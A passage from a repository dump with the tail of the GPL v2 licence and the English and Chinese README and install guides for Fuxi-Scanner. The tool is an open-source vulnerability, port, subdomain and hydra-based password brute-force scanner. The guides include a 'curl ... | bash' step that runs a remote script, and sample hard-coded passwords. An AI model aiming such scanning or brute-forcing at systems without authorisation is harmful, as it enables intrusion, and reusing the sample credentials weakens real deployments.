code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  <signature of Ty Coon>, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/README.md",
    "content": "# Fuxi-Scanner\n\n[![Travis](https://img.shields.io/badge/Python-2.6%7C2.7-blue.svg)](https://www.python.org/)\n[![GitHub license](https://img.shields.io/github/license/jeffzh3ng/Fuxi-Scanner.svg)](https://github.com/jeffzh3ng/Fuxi-Scanner/blob/master/LICENSE)\n[![GitHub stars](https://img.shields.io/github/stars/jeffzh3ng/Fuxi-Scanner.svg)](https://github.com/jeffzh3ng/Fuxi-Scanner/stargazers)\n\n\n### README English | [中文](doc/README.zh.md)\n\nFuxi Scanner is an open source network security vulnerability scanner, it comes with multiple functions.\n\n- Vulnerability detection & management\n- Authentication Tester\n- IT asset discovery & management\n- Port scanner\n- Subdomain scanner\n- Acunetix Scanner (Integrate Acunetix API)\n\n## Screenshots\n\n![fuxi_dashboard.png](doc/images/fuxi_dashboard.png)\n\n## Installation\n\n[Documentation](doc/INSTALL.en.md)\n\n## Usage\n\n### Vulnerability Scanner\n\nThe scanner module integrate an open-sourced remote vulnerability testing and PoC development framework - [Pocsuite](https://github.com/knownsec/Pocsuite)\n\nLike Metasploit, it is a development kit for pentesters to develope their own exploits. Based on Pocsuite, you can write the most core code of PoC/Exp without caring about the resulting output etc. There are at least several hundred people writing PoC/Exp based on Pocsuite up to date.\n\nYou can acquiring PoC scripts from [Seebug community](https://www.seebug.org/)\n\nThe target can be IP, network segment or URL.\n\n![fuxi_poc_new_scan.png](doc/images/fuxi_poc_new_scan.png)\n\nYou can manage plugins in the Plugin Manager modules. The plugin must conform to the [PoC Coding Style](https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md)\n\n![fuxi_poc_plugin_management.png](doc/images/fuxi_poc_plugin_management.png)\n\n### Asset Management\n\nIT Asset Registration:\n\n![fuxi_asset_new.png](doc/images/fuxi_asset_new.png)\n\nAutomatic Service Discovery:\n\n![fuxi_asset_server_search.png](doc/images/fuxi_asset_service_search.png)\n\nYou can scan the vulnerability by searching and filtering out specific services\n\n### Authentication Tester\n\nThis is an auth tester with [hydra](https://github.com/vanhauser-thc/thc-hydra)\n\nCurrently this tool supports the following protocols: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP. (55)\n\n![fuxi_auth_new_scan.png](doc/images/fuxi_auth_new_scan.png)\n\n### Subdomain Scanner\n\nIt helps penetration testers and bug hunters collect and gather subdomains for the domain they are targeting\n\nYou can improved wordlist in settings for finding more subdomains\n\n![fuxi_domain_new_scan.png](doc/images/fuxi_domain_new_scan.png)\n\n![fuxi_poc_list.png](doc/images/fuxi_domain_list.png)\n\n### Acunetix Scanner\n\nThis module delivers scanning tasks by integrate Acunetix Web Vulnerability Scanner API\n\n![fuxi_acunetix_new_scan.png](doc/images/fuxi_acunetix_new_scan.png)\n\nYou can scan multiple websites at the same time\n\n### Port Scanner\n\nPort scanner allows you to discover which TCP ports are open on your target host.\n\nPort scanning is usually done in the initial phase of a penetration test in order to discover all network entry points into the target system\n\n![fuxi_port_scanner.png](doc/images/fuxi_port_scanner.png)\n\n### Settings\n\n![fuxi_settings.png](doc/images/fuxi_settings.png)\n\n## Links\n\n- Homepage: [https://fuxi-scanner.com](https://fuxi-scanner.com)\n- Download: [.tar](https://github.com/jeffzh3ng/Fuxi-Scanner/tarball/master) or [.zip](https://github.com/jeffzh3ng/Fuxi-Scanner/zipball/master)\n- E-mail: [jeffzh3ng@gmail.com](mailto:jeffzh3ng@gmail.com)\n- Telegram: [jeffzhang](https://t.me/jeffzhang)\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/doc/INSTALL.en.md",
    "content": "# Installation\n\nYou can download the latest tarball by clicking [here](https://github.com/jeffzh3ng/Fuxi-Scanner/tarball/master)  or latest zipball by clicking [here](https://github.com/jeffzh3ng/Fuxi-Scanner/zipball/master).\n\nPreferably, you can download fuxi-scanner by cloning the Git repository:\n```bash\ngit clone --depth 1 https://github.com/jeffzh3ng/Fuxi-Scanner.git fuxi-scanner\n```\n\nFuxi Scanner works out of the box with [Python](https://www.python.org/) version 2.6.x and 2.7.x on any platform.\n\n## Environment Setup\n\nThis guide should get you going on `Ubuntu` system. \n\n### Install the base dev packages\n\n```bash\nsudo apt update\nsudo apt install python python-dev python-pip python-setuptools nmap hydra curl\ncd fuxi-scanner\nsudo python -m pip install pip==9.0.3\nsudo pip install -r requirements.txt\n```\n\n### Install MongoDB Community Edition (Ubuntu)\n\n#### Import the public key used by the package management system.\n\nThe Ubuntu package management tools (i.e. dpkg and apt) ensure package consistency and authenticity by requiring that distributors sign packages with GPG keys.\n \nIssue the following command to import the MongoDB public GPG Key:\n\n```bash\nsudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 2930ADAE8CAF5059EE73BB4B58712A2291FA4AD5\n```\n\n#### Create a list file for MongoDB.\n\nCreate the /etc/apt/sources.list.d/mongodb-org-3.6.list list file using the command appropriate for your version of Ubuntu:\n\nUbuntu 14.04\n\n```bash\necho \"deb https://repo.mongodb.org/apt/ubuntu trusty/mongodb-org/3.6 multiverse\" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.6.list\n```\n\nUbuntu 16.04\n\n```bash\necho \"deb https://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.6 multiverse\" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.6.list\n```\n\n#### Reload local package database.\n\nIssue the following command to reload the local package database:\n\n```bash\nsudo apt-get update\n```\n\n#### Install the MongoDB packages.\n\nInstall the latest stable version of MongoDB.\n\nIssue the following command:\n\n```bash\nsudo apt-get install -y mongodb-org\n```\n\n#### Run MongoDB Community Edition\n\nStart MongoDB.\n\nIssue the following command to start mongod:\n\n```bash\nsudo service mongod start\n```\n\nConnect to the instance.\n\n```bash\nmongo\n```\n\nCreate the user administrator.\n\nIn the admin database, add a user with the [userAdminAnyDatabase](https://docs.mongodb.com/manual/reference/built-in-roles/#userAdminAnyDatabase) role\n\n```bash\nuse admin\ndb.createUser(\n  {\n    user: \"admin\",\n    pwd: \"14b3xfY1wd\",\n    roles: [ { role: \"userAdminAnyDatabase\", db: \"admin\" } ]\n  }\n)\n```\n\nAdd Scanner Users\n\nThe following operation creates a user in the reporting database with the specified name, password, and roles\n\n```bash\nuse fuxi\ndb.createUser(\n  {\n    user: \"fuxi_scanner\",\n    pwd: \"W94MRYDqOZ\",\n    roles: [\n       { role: \"readWrite\", db: \"fuxi\"},\n    ]\n  }\n)\n```\n\nEnable Auth\n\n```bash\nsudo vi /etc/mongod.conf\n\nsecurity:\n  authorization: \"enabled\"\n```\n\n```bash\nsudo service mongod restart\nsudo systemctl enable mongod.service\n```\n\nTo authenticate after connecting\n\n```bash\njeffzhang@ubuntu:~$ mongo\nMongoDB shell version v3.6.5\nconnecting to: mongodb://127.0.0.1:27017\nMongoDB server version: 3.6.5\n> use fuxi\nswitched to db fuxi\n> db.auth(\"fuxi_scanner\", \"W94MRYDqOZ\")\n1\n```\n\n## Configuration Handling\n\n`fuxi-scanner` configuration files are located in the `fuxi-scanner/instance/` directory.\n\n### Full Example Configuration\n\n```python\nimport os\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\n\nclass Config:\n    def __init__(self):\n        pass\n\n    WEB_USER = 'admin'                              #Web Auth User\n    WEB_PASSWORD = 'xHmRu4sJxZ'                     #Web Auth Password\n    POCSUITE_PATH = basedir + '/../fuxi/views/modules/scanner/pocsuite_plugin/'\n    AWVS_REPORT_PATH = basedir + '/../fuxi/static/download/'    # static file download\n    WEB_HOST = '127.0.0.1'                          #Web Server Host\n    WEB_PORT = 5000                                 #Web Server Port\n    UPDATE_URL = \"https://fuxi.hook.ga/update\"      #check update\n    VERSION = '1.2.0'                               #scanner version\n    AWVS_URL = 'https://192.168.56.2:3443'          #Acunetix Web Vulnerability Scanner Url\n    AWVS_API_KEY = \"\"                               #Acunetix Web Vulnerability Scanner API Key\n    \n\nclass ProductionConfig(Config):\n    DB_HOST = '127.0.0.1'                           #MongoDB Host\n    DB_PORT = 27017                                 #MongoDB Port (int)\n    DB_NAME = 'fuxi'                                #MongoDB Name\n    DB_USERNAME = 'fuxi_scanner'                    #MongoDB User\n    DB_PASSWORD = 'W94MRYDqOZ'                      #MongoDB Password\n\n    CONFIG_NAME = 'fuxi'                            #Scanner config name\n    PLUGIN_DB = 'dev_plugin_info'                   #Plugin collection\n    TASKS_DB = 'dev_tasks'                          #Scan tasks collection\n    VULNERABILITY_DB = 'dev_vuldb'                  #Vulnerability collection\n    ASSET_DB = 'dev_asset'                          #Asset collection\n    CONFIG_DB = 'dev_config'                        #Scanner config collection\n    SERVER_DB = 'dev_server'                        #Asset server collection\n    SUBDOMAIN_DB = 'dev_subdomain'                  #Subdomain server collection\n    DOMAIN_DB = 'dev_domain'                        #Domain server collection\n    PORT_DB = 'dev_port_scanner'                    #Port scan collection\n    AUTH_DB = 'dev_auth_tester'                     #Auth tester tasks collection\n    ACUNETIX_DB = 'dev_acunetix'                    #Acunetix scanner tasks collection\n    WEEKPASSWD_DB = 'dev_week_passwd'               #Week password collection\n```\n\n## Using Fuxi-Scanner \n\n### Running tests\n\n```bash\nsudo service mongod restart\ncd fuxi-scanner\npython migration/start.py\npython fuxi_scanner.py\n* Running on http://127.0.0.1:5000\n```\nDone! Open your browser to `http://127.0.0.1:5000` to see it working\n\n### Run it as background process\n\n```bash\n./run.sh start      # start\n./run.sh restart    # restart\n./run.sh stop       # stop\n```\n\n## Using Caddy (Optional)\n\n[Caddy](https://caddyserver.com/), sometimes clarified as the Caddy web server, is an open source, HTTP/2-enabled web server written in Go. It uses the Go standard library for its HTTP functionality.\n\nOne of Caddy's most notable features is enabling HTTPS by default.\n\n\n### Install Caddy\n\n- PLATFORM: Linux 64\n- PLUGINS: None\n- TELEMETRY: Off\n- LICENSE: Personal (free)\n\n```bash\ncurl https://getcaddy.com | bash -s personal\n```\n\n### Using Caddy\n\n[USER GUIDE](https://caddyserver.com/tutorial)\n\nCreate caddy folder\n\n```bash\nsudo mkdir /etc/caddy\nsudo touch /etc/caddy/caddy.config\nsudo chown -R root:www-data /etc/caddy\nsudo vi /etc/caddy/caddy.config\n```\n\nThe HTTP Caddyfile：\n\n[Caddyfile Syntax](https://caddyserver.com/docs/caddyfile)\n\n\n```config\nwww.example.com {\n    log /var/log/caddy_fuxi.log\n    proxy / 127.0.0.1:5000 {\n        transparent \n    }\n}\n```\n\nCreate SSL certificates folder\n\n```bash\nsudo mkdir /etc/ssl/caddy\nsudo chown -R www-data:root /etc/ssl/caddy\nsudo chmod 0770 /etc/ssl/caddy\n```\n\nStart Caddy\n\n```bash\nsudo caddy -conf /etc/caddy/caddy.config\n```\n\n---- The End ----\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/doc/INSTALL.zh.md",
    "content": "# 安装手册\n\n你可以直接下载最新 [tar](https://github.com/jeffzh3ng/Fuxi-Scanner/tarball/master) 或者 [zip](https://github.com/jeffzh3ng/Fuxi-Scanner/zipball/master) 包 \n\n也可以通过 `Github` 仓库获取\n```bash\ngit clone --depth 1 https://github.com/jeffzh3ng/Fuxi-Scanner.git fuxi-scanner\n```\n\n伏羲依赖于 Python 2.7 or Python 2.6 环境\n\n## 运行环境\n\n安装过程演示环境为 `Ubuntu 16.04` 操作系统，其他 `Linux` 发行版可以参考\n\n### 安装基础依赖包\n\n```bash\nsudo apt update\nsudo apt install python python-dev python-pip python-setuptools nmap hydra curl\ncd fuxi-scanner\nsudo python -m pip install pip==9.0.3\nsudo pip install -r requirements.txt\n```\n\n### 安装 MongoDB 社区版 (Ubuntu)\n\n#### 导入Key\n\n```bash\nsudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 2930ADAE8CAF5059EE73BB4B58712A2291FA4AD5\n```\n\n#### 创建源文件\n\nUbuntu 14.04\n\n```bash\necho \"deb https://repo.mongodb.org/apt/ubuntu trusty/mongodb-org/3.6 multiverse\" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.6.list\n```\n\nUbuntu 16.04\n\n```bash\necho \"deb https://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.6 multiverse\" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.6.list\n```\n\n#### 更新软件包列表\n\n```bash\nsudo apt-get update\n```\n\n#### 安装 MongoDB.\n\n```bash\nsudo apt-get install -y mongodb-org\n```\n\n#### 运行\n\nStart MongoDB.\n\n```bash\nsudo service mongod start\n```\n\n连接到数据库\n\n```bash\nmongo\n```\n\n创建管理员用户\n\n```bash\nuse admin\ndb.createUser(\n  {\n    user: \"admin\",\n    pwd: \"14b3xfY1wd\",\n    roles: [ { role: \"userAdminAnyDatabase\", db: \"admin\" } ]\n  }\n)\n```\n\n创建扫描器用户\n\nThe following operation creates a user in the reporting database with the specified name, password, and roles\n\n```bash\nuse fuxi\ndb.createUser(\n  {\n    user: \"fuxi_scanner\",\n    pwd: \"W94MRYDqOZ\",\n    roles: [\n       { role: \"readWrite\", db: \"fuxi\"},\n    ]\n  }\n)\n```\n\n开启认证\n\n```bash\nsudo vi /etc/mongod.conf\n```\n\n增加以下配置\n\n```bash\nsecurity:\n  authorization: \"enabled\"\n```\n\n重启数据库服务，设置开机启动\n\n```bash\nsudo service mongod restart\nsudo systemctl enable mongod.service\n```\n\n测试认证连接\n\n```bash\njeffzhang@ubuntu:~$ mongo\nMongoDB shell version v3.6.5\nconnecting to: mongodb://127.0.0.1:27017\nMongoDB server version: 3.6.5\n> use fuxi\nswitched to db fuxi\n> db.auth(\"fuxi_scanner\", \"W94MRYDqOZ\")\n1\n```\n\n返回`1`代表用户认证成功\n\n## 扫描器配置\n\n`fuxi-scanner` configuration files are located in the `fuxi-scanner/instance/` directory.\n\n### 配置文件解析\n\n```python\nimport os\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\n\nclass Config:\n    def __init__(self):\n        pass\n\n    WEB_USER = 'admin'                              #Web Auth User\n    WEB_PASSWORD = 'xHmRu4sJxZ'                     #Web Auth Password\n    POCSUITE_PATH = basedir + '/../fuxi/views/modules/scanner/pocsuite_plugin/'\n    AWVS_REPORT_PATH = basedir + '/../fuxi/static/download/'    # static file download\n    WEB_HOST = '127.0.0.1'                          #Web Server Host\n    WEB_PORT = 5000                                 #Web Server Port\n    UPDATE_URL = \"https://fuxi.hook.ga/update\"      #check update\n    VERSION = '1.2.0'                               #scanner version\n    AWVS_URL = 'https://192.168.56.2:3443'          #Acunetix Web Vulnerability Scanner Url\n    AWVS_API_KEY = \"\"                               #Acunetix Web Vulnerability Scanner API Key\n    \n\nclass ProductionConfig(Config):\n    DB_HOST = '127.0.0.1'                           #MongoDB Host\n    DB_PORT = 27017                                 #MongoDB Port (int)\n    DB_NAME = 'fuxi'                                #MongoDB Name\n    DB_USERNAME = 'fuxi_scanner'                    #MongoDB User\n    DB_PASSWORD = 'W94MRYDqOZ'                      #MongoDB Password\n\n    CONFIG_NAME = 'fuxi'                            #Scanner config name\n    PLUGIN_DB = 'dev_plugin_info'                   #Plugin collection\n    TASKS_DB = 'dev_tasks'                          #Scan tasks collection\n    VULNERABILITY_DB = 'dev_vuldb'                  #Vulnerability collection\n    ASSET_DB = 'dev_asset'                          #Asset collection\n    CONFIG_DB = 'dev_config'                        #Scanner config collection\n    SERVER_DB = 'dev_server'                        #Asset server collection\n    SUBDOMAIN_DB = 'dev_subdomain'                  #Subdomain server collection\n    DOMAIN_DB = 'dev_domain'                        #Domain server collection\n    PORT_DB = 'dev_port_scanner'                    #Port scan collection\n    AUTH_DB = 'dev_auth_tester'                     #Auth tester tasks collection\n    ACUNETIX_DB = 'dev_acunetix'                    #Acunetix scanner tasks collection\n    WEEKPASSWD_DB = 'dev_week_passwd'               #Week password collection\n```\n\n注意修改扫描器web服务监听的IP，默认监听本地，数据库名称、数据库用户、密码，`AWVS` 扫描器路径以及 `API Key`\n\n## 开始使用\n\n### 运行测试\n\n```bash\nsudo service mongod restart\ncd fuxi-scanner\npython migration/start.py\npython fuxi_scanner.py\n* Running on http://127.0.0.1:5000\n```\n\n一定要记得开启数据库，未报错，说明可以正常运行，打开浏览器访问`http://127.0.0.1:5000`\n\n### 后台运行\n\n```bash\n./run.sh start      # start\n./run.sh restart    # restart\n./run.sh stop       # stop\n```\n\n## 使用 Caddy 进行代理 (建议)\n\n[Caddy](https://caddyserver.com/) 服务器（或稱Caddy Web）是一个开源的，使用 Golang 编写，支持 HTTP/2 的 Web 服务端。它使用 Golang 标准库提供 HTTP 功能。\n\nCaddy 一个显著的特性是默认启用 HTTPS。它是第一个无需额外配置即可提供 HTTPS 特性的 Web 服务器。\n\n### 安装\n\n- PLATFORM: Linux 64\n- PLUGINS: None\n- TELEMETRY: Off\n- LICENSE: Personal (free)\n\n```bash\ncurl https://getcaddy.com | bash -s personal\n```\n\n### 使用\n\n[Caddy 官方用户手册](https://caddyserver.com/tutorial)\n\n创建 caddy 文件夹\n\n```bash\nsudo mkdir /etc/caddy\nsudo touch /etc/caddy/caddy.config\nsudo chown -R root:www-data /etc/caddy\nsudo vi /etc/caddy/caddy.config\n```\n\n编写 Caddyfile 配置文件：\n\n[配置文件语法说明](https://caddyserver.com/docs/caddyfile)\n\n\n```config\nwww.example.com {\n    log /var/log/caddy_fuxi.log\n    proxy / 127.0.0.1:5000 {\n        transparent \n    }\n}\n```\n\n创建 SSL 证书路径\n\n```bash\nsudo mkdir /etc/ssl/caddy\nsudo chown -R www-data:root /etc/ssl/caddy\nsudo chmod 0770 /etc/ssl/caddy\n```\n\n开始使用 Caddy\n\n```bash\nsudo caddy -conf /etc/caddy/caddy.config\n```\n\n---- The End ----\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/doc/README.zh.md",
    "content": "# 伏羲\n\n[![Travis](https://img.shields.io/badge/Python-2.6%7C2.7-blue.svg)](https://www.python.org/)\n[![GitHub license](https://img.shields.io/github/license/jeffzh3ng/Fuxi-Scanner.svg)](https://github.com/jeffzh3ng/Fuxi-Scanner/blob/master/LICENSE)\n[![GitHub stars](https://img.shields.io/github/stars/jeffzh3ng/Fuxi-Scanner.svg)](https://github.com/jeffzh3ng/Fuxi-Scanner/stargazers)\n\n### README [English](../README.md) | 中文\n\n伏羲是一款开源的网络安全检测工具，适用于中小型企业对企业信息系统进行安全巡航检测\n\n本系统通过模块化提供多种安全功能\n\n- 基于插件的漏洞扫描功能\n- 持续化漏洞管理\n- 多种协议的弱口令检测\n- 企业子域名收集\n- 企业 IT 资产管理及服务发现\n- 端口扫描\n- AWVS(Acunetix Web Vulnerability Scanner) 接口调用\n\n其他功能敬请期待...\n\n## 截图\n\n![fuxi_dashboard.png](images/fuxi_dashboard.png)\n\n## 安装\n\n[安装手册](INSTALL.zh.md)\n\n## 使用\n\n### 漏洞扫描功能\n\n该模块主要设计初衷是为了对互联网新爆发的安全漏洞进行快速响应及风险排查，以及对已发现的漏洞修复情况进行追踪，该模块可以和资产服务发现模块结合使用，进行快速应急响应\n\n该模块通过调用知道创宇开源扫描器 Pocsuite 进行扫描，具备编码能力的可以根据模版快速开发插件，不具备插件编写能力的可以通过[SeeBug 社区](https://www.seebug.org/)获取\n\n本项目不提供漏洞插件，互联网上有项目提供了很多的 Pocsuite 插件，可以在Github上进行搜索，建议不要执着于插件数量，不要当成漏扫使用哦\n\n扫描任务周期可以选择单次、每日、周及每月，扫描对象可以是单个 IP、网段或者 Url\n\n![fuxi_poc_new_scan.png](images/fuxi_poc_new_scan.png)\n\n扫描插件通过插件模块中新增插件进行上传，插件必须符合 [PoC 编写规范及要求说明](https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md)\n\n![fuxi_poc_plugin_management.png](images/fuxi_poc_plugin_management.png)\n\n### 资产管理功能\n\n该模块具备资产管理，资产服务发现功能\n\n企业安全人员可以根据信息系统对IT资产进行划分，创建不同的资产库，通过资产库可以灵活的创建扫描漏洞任务\n\n![fuxi_asset_new.png](images/fuxi_asset_new.png)\n\n资产服务发现模块通过调用 `Nmap` 对资产库主机进行端口扫描，并将结果入库，企业安全人员可以通过关键字搜索功能筛选出符合条件的服务添加到漏洞扫描任务中\n\n![fuxi_asset_server_search.png](images/fuxi_asset_service_search.png)\n\n搜索使用右上角搜索框，不要使用服务列表中的筛选功能\n\n### 认证安全检测\n\n后端调用[hydra](https://github.com/vanhauser-thc/thc-hydra)进行扫描，目前支持55种常见协议：\n\nAsterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.\n\n扫描任务周期可以选择单次、每日、周及每月，扫描对象可以是单个 IP、网段或者 Url\n\n![fuxi_auth_new_scan.png](images/fuxi_auth_new_scan.png)\n\n该功能采用模块化方式实现，具备开发能力可以自由添加其他协议破解插件，具体实现会在 [WiKi]() 进行公布\n\n### 